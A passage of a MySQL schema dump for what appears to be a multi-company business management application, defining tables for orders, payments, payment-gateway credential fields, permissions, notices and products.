@saved_cs_client */; DROP TABLE IF EXISTS `migrations`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `migrations` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `migration` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `batch` int NOT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `module_settings`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `module_settings` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `module_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `status` enum('active','deactive') COLLATE utf8mb4_unicode_ci NOT NULL, `type` enum('admin','employee','client') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'admin', `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `module_settings_company_id_foreign` (`company_id`), CONSTRAINT `module_settings_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `modules`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `modules` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `module_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `description` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `notice_views`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `notice_views` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `notice_id` int unsigned NOT NULL, `user_id` int unsigned NOT NULL, `read` tinyint(1) NOT NULL DEFAULT '0', `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `notice_views_company_id_foreign` (`company_id`), KEY `notice_views_notice_id_foreign` (`notice_id`), KEY `notice_views_user_id_foreign` (`user_id`), CONSTRAINT `notice_views_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `notice_views_notice_id_foreign` FOREIGN KEY (`notice_id`) REFERENCES `notices` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `notice_views_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `notices`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `notices` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `to` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'employee', `heading` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `description` mediumtext COLLATE utf8mb4_unicode_ci, `department_id` int unsigned DEFAULT NULL, `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `notices_company_id_foreign` (`company_id`), KEY `notices_department_id_foreign` (`department_id`), KEY `notices_added_by_foreign` (`added_by`), KEY `notices_last_updated_by_foreign` (`last_updated_by`), CONSTRAINT `notices_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `notices_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `notices_department_id_foreign` FOREIGN KEY (`department_id`) REFERENCES `teams` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `notices_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `notifications`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `notifications` ( `id` char(36) COLLATE utf8mb4_unicode_ci NOT NULL, `type` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `notifiable_type` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `notifiable_id` bigint unsigned NOT NULL, `data` text COLLATE utf8mb4_unicode_ci NOT NULL, `read_at` timestamp NULL DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `notifications_notifiable_type_notifiable_id_index` (`notifiable_type`,`notifiable_id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `offline_payment_methods`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `offline_payment_methods` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `description` longtext COLLATE utf8mb4_unicode_ci, `status` enum('yes','no') COLLATE utf8mb4_unicode_ci DEFAULT 'yes', `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `offline_payment_methods_company_id_foreign` (`company_id`), CONSTRAINT `offline_payment_methods_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `order_item_images`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `order_item_images` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `order_item_id` bigint unsigned DEFAULT NULL, `external_link` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `order_item_images_order_item_id_index` (`order_item_id`), CONSTRAINT `order_item_images_order_item_id_foreign` FOREIGN KEY (`order_item_id`) REFERENCES `order_items` (`id`) ON DELETE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `order_items`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `order_items` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `order_id` bigint unsigned NOT NULL, `product_id` int unsigned DEFAULT NULL, `item_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `item_summary` text COLLATE utf8mb4_unicode_ci, `type` enum('item','discount','tax') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'item', `quantity` double(30,2) NOT NULL, `unit_price` int NOT NULL, `amount` double(30,2) NOT NULL, `hsn_sac_code` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `taxes` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `order_items_order_id_foreign` (`order_id`), KEY `order_items_product_id_foreign` (`product_id`), CONSTRAINT `order_items_order_id_foreign` FOREIGN KEY (`order_id`) REFERENCES `orders` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `order_items_product_id_foreign` FOREIGN KEY (`product_id`) REFERENCES `products` (`id`) ON DELETE SET NULL ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `orders`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `orders` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `client_id` int unsigned DEFAULT NULL, `order_date` date NOT NULL, `sub_total` double(30,2) NOT NULL, `discount` double NOT NULL DEFAULT '0', `discount_type` enum('percent','fixed') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'percent', `total` double(30,2) NOT NULL, `status` enum('pending','on-hold','failed','processing','completed','canceled','refunded') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'pending', `currency_id` int unsigned DEFAULT NULL, `show_shipping_address` enum('yes','no') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'no', `note` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `company_address_id` bigint unsigned DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `orders_company_id_foreign` (`company_id`), KEY `orders_client_id_foreign` (`client_id`), KEY `orders_currency_id_foreign` (`currency_id`), KEY `orders_added_by_foreign` (`added_by`), KEY `orders_last_updated_by_foreign` (`last_updated_by`), KEY `orders_company_address_id_foreign` (`company_address_id`), CONSTRAINT `orders_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `orders_client_id_foreign` FOREIGN KEY (`client_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `orders_company_address_id_foreign` FOREIGN KEY (`company_address_id`) REFERENCES `company_addresses` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `orders_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `orders_currency_id_foreign` FOREIGN KEY (`currency_id`) REFERENCES `currencies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `orders_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `password_resets`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE password_resets ( email VARCHAR(255) PRIMARY KEY, token VARCHAR(255), created_at TIMESTAMP NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `payment_gateway_credentials`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `payment_gateway_credentials` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `paypal_client_id` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `paypal_secret` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `paypal_status` enum('active','deactive') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'deactive', `live_stripe_client_id` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `live_stripe_secret` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `live_stripe_webhook_secret` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `stripe_status` enum('active','deactive') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'deactive', `live_razorpay_key` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `live_razorpay_secret` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `razorpay_status` enum('active','inactive') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'inactive', `paypal_mode` enum('sandbox','live') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'sandbox', `sandbox_paypal_client_id` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `sandbox_paypal_secret` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `test_stripe_client_id` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `test_stripe_secret` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `test_razorpay_key` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `test_razorpay_secret` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `test_stripe_webhook_secret` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `stripe_mode` enum('test','live') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'test', `razorpay_mode` enum('test','live') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'test', `paystack_key` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `paystack_secret` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `paystack_merchant_email` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `paystack_status` enum('active','deactive') COLLATE utf8mb4_unicode_ci DEFAULT 'deactive', `paystack_mode` enum('sandbox','live') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'sandbox', `test_paystack_key` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `test_paystack_secret` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `test_paystack_merchant_email` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `paystack_payment_url` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT 'https://api.paystack.co', `mollie_api_key` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `mollie_status` enum('active','deactive') COLLATE utf8mb4_unicode_ci DEFAULT 'deactive', `payfast_merchant_id` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `payfast_merchant_key` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `payfast_passphrase` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `payfast_mode` enum('sandbox','live') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'sandbox', `payfast_status` enum('active','deactive') COLLATE utf8mb4_unicode_ci DEFAULT 'deactive', `authorize_api_login_id` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `authorize_transaction_key` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `authorize_environment` enum('sandbox','live') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'sandbox', `authorize_status` enum('active','deactive') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'deactive', `square_application_id` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `square_access_token` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `square_location_id` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `square_environment` enum('sandbox','production') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'sandbox', `square_status` enum('active','deactive') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'deactive', `flutterwave_status` enum('active','deactive') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'deactive', `flutterwave_mode` enum('sandbox','live') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'sandbox', `test_flutterwave_key` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `test_flutterwave_secret` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `test_flutterwave_hash` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `live_flutterwave_key` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `live_flutterwave_secret` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `live_flutterwave_hash` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `flutterwave_webhook_secret_hash` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `payment_gateway_credentials_company_id_foreign` (`company_id`), CONSTRAINT `payment_gateway_credentials_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `payments`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `payments` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `project_id` int unsigned DEFAULT NULL, `invoice_id` int unsigned DEFAULT NULL, `order_id` bigint unsigned DEFAULT NULL, `credit_notes_id` int unsigned DEFAULT NULL, `amount` double NOT NULL, `gateway` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `transaction_id` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `currency_id` int unsigned DEFAULT NULL, `plan_id` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `customer_id` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `event_id` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `status` enum('complete','pending','failed') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'pending', `paid_on` datetime DEFAULT NULL, `remarks` text COLLATE utf8mb4_unicode_ci, `offline_method_id` int unsigned DEFAULT NULL, `bill` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `payment_gateway_response` text COLLATE utf8mb4_unicode_ci COMMENT 'null = success', `payload_id` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), UNIQUE KEY `payments_transaction_id_unique` (`transaction_id`), UNIQUE KEY `payments_plan_id_unique` (`plan_id`), UNIQUE KEY `payments_event_id_unique` (`event_id`), KEY `payments_company_id_foreign` (`company_id`), KEY `payments_project_id_foreign` (`project_id`), KEY `payments_invoice_id_foreign` (`invoice_id`), KEY `payments_order_id_foreign` (`order_id`), KEY `payments_credit_notes_id_foreign` (`credit_notes_id`), KEY `payments_currency_id_foreign` (`currency_id`), KEY `payments_paid_on_index` (`paid_on`), KEY `payments_offline_method_id_foreign` (`offline_method_id`), KEY `payments_added_by_foreign` (`added_by`), KEY `payments_last_updated_by_foreign` (`last_updated_by`), CONSTRAINT `payments_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `payments_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `payments_credit_notes_id_foreign` FOREIGN KEY (`credit_notes_id`) REFERENCES `credit_notes` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `payments_currency_id_foreign` FOREIGN KEY (`currency_id`) REFERENCES `currencies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `payments_invoice_id_foreign` FOREIGN KEY (`invoice_id`) REFERENCES `invoices` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `payments_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `payments_offline_method_id_foreign` FOREIGN KEY (`offline_method_id`) REFERENCES `offline_payment_methods` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `payments_order_id_foreign` FOREIGN KEY (`order_id`) REFERENCES `orders` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `payments_project_id_foreign` FOREIGN KEY (`project_id`) REFERENCES `projects` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `permission_role`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `permission_role` ( `permission_id` int unsigned NOT NULL, `role_id` int unsigned NOT NULL, `permission_type_id` bigint unsigned NOT NULL DEFAULT '5', PRIMARY KEY (`permission_id`,`role_id`), KEY `permission_role_role_id_foreign` (`role_id`), KEY `permission_role_permission_type_id_foreign` (`permission_type_id`), CONSTRAINT `permission_role_permission_id_foreign` FOREIGN KEY (`permission_id`) REFERENCES `permissions` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `permission_role_permission_type_id_foreign` FOREIGN KEY (`permission_type_id`) REFERENCES `permission_types` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `permission_role_role_id_foreign` FOREIGN KEY (`role_id`) REFERENCES `roles` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `permission_types`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `permission_types` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `permissions`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `permissions` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `display_name` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `description` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `module_id` int unsigned NOT NULL, `is_custom` tinyint(1) NOT NULL DEFAULT '0', `allowed_permissions` text COLLATE utf8mb4_unicode_ci, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), UNIQUE KEY `permissions_name_unique` (`name`), KEY `permissions_module_id_foreign` (`module_id`), CONSTRAINT `permissions_module_id_foreign` FOREIGN KEY (`module_id`) REFERENCES `modules` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `pinned`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `pinned` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `project_id` int unsigned DEFAULT NULL, `task_id` int unsigned DEFAULT NULL, `user_id` int unsigned NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `pinned_company_id_foreign` (`company_id`), KEY `pinned_project_id_foreign` (`project_id`), KEY `pinned_task_id_foreign` (`task_id`), KEY `pinned_user_id_foreign` (`user_id`), CONSTRAINT `pinned_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `pinned_project_id_foreign` FOREIGN KEY (`project_id`) REFERENCES `projects` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `pinned_task_id_foreign` FOREIGN KEY (`task_id`) REFERENCES `tasks` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `pinned_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `product_category`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `product_category` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `category_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `product_files`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `product_files` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `product_id` int unsigned NOT NULL, `filename` varchar(200) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `hashname` varchar(200) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `size` varchar(200) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, PRIMARY KEY (`id`), KEY `product_files_product_id_foreign` (`product_id`), KEY `product_files_added_by_foreign` (`added_by`), KEY `product_files_last_updated_by_foreign` (`last_updated_by`), CONSTRAINT `product_files_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `product_files_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `product_files_product_id_foreign` FOREIGN KEY (`product_id`) REFERENCES `products` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `product_sub_category`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `product_sub_category` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `category_id` bigint unsigned NOT NULL, `category_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `product_sub_category_company_id_foreign` (`company_id`), KEY `product_sub_category_category_id_foreign` (`category_id`), CONSTRAINT `product_sub_category_category_id_foreign` FOREIGN KEY (`category_id`) REFERENCES `product_category` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `product_sub_category_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `products`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `products` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `price` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `taxes` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `allow_purchase` tinyint(1) NOT NULL DEFAULT '0', `downloadable` tinyint(1) NOT NULL DEFAULT '0', `downloadable_file` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `description` text COLLATE utf8mb4_unicode_ci, `category_id` bigint unsigned DEFAULT NULL, `sub_category_id` bigint unsigned DEFAULT NULL, `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `hsn_sac_code` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `default_image` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, 